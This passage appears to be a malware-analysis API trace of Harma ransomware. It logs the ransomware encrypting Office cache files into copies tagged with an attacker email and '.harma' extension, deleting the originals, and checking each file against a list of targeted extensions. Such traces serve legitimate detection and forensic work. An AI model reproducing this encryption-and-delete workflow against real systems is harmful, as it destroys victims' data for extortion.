Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.605] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.605] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.606] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.606] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.606] GetLastError () returned 0x0 [0054.606] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0054.625] WriteFile (in: hFile=0x180, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0054.881] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.881] WriteFile (in: hFile=0x180, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0054.882] SetEndOfFile (hFile=0x180) returned 1 [0054.925] CloseHandle (hObject=0x180) returned 1 [0054.964] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.964] SetEndOfFile (hFile=0x164) returned 1 [0054.972] CloseHandle (hObject=0x164) returned 1 [0054.973] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.973] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0054.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.973] lstrlenW (lpString=".doc") returned 4 [0054.973] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.973] lstrlenW (lpString=".docx") returned 5 [0054.973] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.973] lstrlenW (lpString=".pdf") returned 4 [0054.973] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.973] lstrlenW (lpString=".xls") returned 4 [0054.973] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.974] lstrlenW (lpString=".xlsx") returned 5 [0054.974] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.974] lstrlenW (lpString=".ppt") returned 4 [0054.974] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.974] lstrlenW (lpString=".zip") returned 4 [0054.974] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.974] lstrlenW (lpString=".rar") returned 4 [0054.974] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.974] lstrlenW (lpString=".bz2") returned 4 [0054.974] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.974] lstrlenW (lpString=".7z") returned 3 [0054.974] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.974] lstrlenW (lpString=".dbf") returned 4 [0054.974] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.974] lstrlenW (lpString=".1cd") returned 4 [0054.974] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.974] lstrlenW (lpString=".jpg") returned 4 [0054.974] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.974] lstrlenW (lpString=".doc") returned 4 [0054.974] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.974] lstrlenW (lpString=".docx") returned 5 [0054.974] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.974] lstrlenW (lpString=".pdf") returned 4 [0054.974] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.975] lstrlenW (lpString=".xls") returned 4 [0054.975] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.975] lstrlenW (lpString=".xlsx") returned 5 [0054.975] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.975] lstrlenW (lpString=".ppt") returned 4 [0054.975] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.975] lstrlenW (lpString=".zip") returned 4 [0054.975] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.975] lstrlenW (lpString=".rar") returned 4 [0054.975] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.975] lstrlenW (lpString=".bz2") returned 4 [0054.975] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.975] lstrlenW (lpString=".7z") returned 3 [0054.975] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.975] lstrlenW (lpString=".dbf") returned 4 [0054.975] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.975] lstrlenW (lpString=".1cd") returned 4 [0054.975] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0054.975] lstrlenW (lpString=".jpg") returned 4 [0054.975] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.975] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0054.975] lstrlenW (lpString="msvcr90.dll") returned 11 [0054.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.976] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=655872) returned 1 [0054.976] CloseHandle (hObject=0x164) returned 1 [0054.976] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0054.976] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.976] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.976] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.977] GetLastError () returned 0x0 [0054.977] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0xa0200, lpOverlapped=0x0) returned 1 [0055.200] WriteFile (in: hFile=0x180, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0055.212] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.213] WriteFile (in: hFile=0x180, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.213] SetEndOfFile (hFile=0x180) returned 1 [0055.216] CloseHandle (hObject=0x180) returned 1 [0055.216] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.216] SetEndOfFile (hFile=0x164) returned 1 [0055.222] CloseHandle (hObject=0x164) returned 1 [0055.222] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.223] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0055.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.223] lstrlenW (lpString=".doc") returned 4 [0055.223] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.223] lstrlenW (lpString=".docx") returned 5 [0055.223] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.223] lstrlenW (lpString=".pdf") returned 4 [0055.223] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.223] lstrlenW (lpString=".xls") returned 4 [0055.223] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.223] lstrlenW (lpString=".xlsx") returned 5 [0055.223] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.223] lstrlenW (lpString=".ppt") returned 4 [0055.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.223] lstrlenW (lpString=".zip") returned 4 [0055.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.223] lstrlenW (lpString=".rar") returned 4 [0055.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.223] lstrlenW (lpString=".bz2") returned 4 [0055.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.223] lstrlenW (lpString=".7z") returned 3 [0055.224] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.224] lstrlenW (lpString=".dbf") returned 4 [0055.224] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.224] lstrlenW (lpString=".1cd") returned 4 [0055.224] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.224] lstrlenW (lpString=".jpg") returned 4 [0055.224] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.224] lstrlenW (lpString=".doc") returned 4 [0055.224] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.224] lstrlenW (lpString=".docx") returned 5 [0055.224] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.224] lstrlenW (lpString=".pdf") returned 4 [0055.224] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.224] lstrlenW (lpString=".xls") returned 4 [0055.224] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.224] lstrlenW (lpString=".xlsx") returned 5 [0055.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.224] lstrlenW (lpString=".ppt") returned 4 [0055.224] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.224] lstrlenW (lpString=".zip") returned 4 [0055.224] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.224] lstrlenW (lpString=".rar") returned 4 [0055.224] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.224] lstrlenW (lpString=".bz2") returned 4 [0055.225] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.225] lstrlenW (lpString=".7z") returned 3 [0055.225] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.225] lstrlenW (lpString=".dbf") returned 4 [0055.225] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.225] lstrlenW (lpString=".1cd") returned 4 [0055.225] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0055.225] lstrlenW (lpString=".jpg") returned 4 [0055.225] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.225] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0055.225] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0055.225] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0055.225] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=868864) returned 1 [0055.226] CloseHandle (hObject=0x164) returned 1 [0055.226] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0055.226] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.226] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0055.226] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.226] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.226] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.226] GetLastError () returned 0x0 [0055.226] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0055.460] WriteFile (in: hFile=0x180, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0055.480] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.480] WriteFile (in: hFile=0x180, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0055.480] SetEndOfFile (hFile=0x180) returned 1 [0055.480] CloseHandle (hObject=0x180) returned 1 [0055.480] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.480] SetEndOfFile (hFile=0x164) returned 1 [0055.758] CloseHandle (hObject=0x164) returned 1 [0055.758] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.759] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0055.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.759] lstrlenW (lpString=".doc") returned 4 [0055.759] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.759] lstrlenW (lpString=".docx") returned 5 [0055.759] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.759] lstrlenW (lpString=".pdf") returned 4 [0055.759] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.759] lstrlenW (lpString=".xls") returned 4 [0055.759] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.759] lstrlenW (lpString=".xlsx") returned 5 [0055.759] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.759] lstrlenW (lpString=".ppt") returned 4 [0055.759] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.759] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.759] lstrlenW (lpString=".zip") returned 4 [0055.759] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.760] lstrlenW (lpString=".rar") returned 4 [0055.760] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.760] lstrlenW (lpString=".bz2") returned 4 [0055.760] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.760] lstrlenW (lpString=".7z") returned 3 [0055.760] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.760] lstrlenW (lpString=".dbf") returned 4 [0055.760] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.760] lstrlenW (lpString=".1cd") returned 4 [0055.760] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.760] lstrlenW (lpString=".jpg") returned 4 [0055.760] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.760] lstrlenW (lpString=".doc") returned 4 [0055.760] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.760] lstrlenW (lpString=".docx") returned 5 [0055.760] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.760] lstrlenW (lpString=".pdf") returned 4 [0055.760] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.760] lstrlenW (lpString=".xls") returned 4 [0055.760] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.760] lstrlenW (lpString=".xlsx") returned 5 [0055.760] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.760] lstrlenW (lpString=".ppt") returned 4 [0055.761] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.761] lstrlenW (lpString=".zip") returned 4 [0055.761] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.761] lstrlenW (lpString=".rar") returned 4 [0055.761] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.761] lstrlenW (lpString=".bz2") returned 4 [0055.761] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.761] lstrlenW (lpString=".7z") returned 3 [0055.761] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.761] lstrlenW (lpString=".dbf") returned 4 [0055.761] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.761] lstrlenW (lpString=".1cd") returned 4 [0055.761] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.761] lstrlenW (lpString=".jpg") returned 4 [0055.761] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.761] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0055.761] lstrlenW (lpString="Office32WW.msi") returned 14 [0055.761] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0055.762] GetFileSizeEx (in: hFile=0x164, 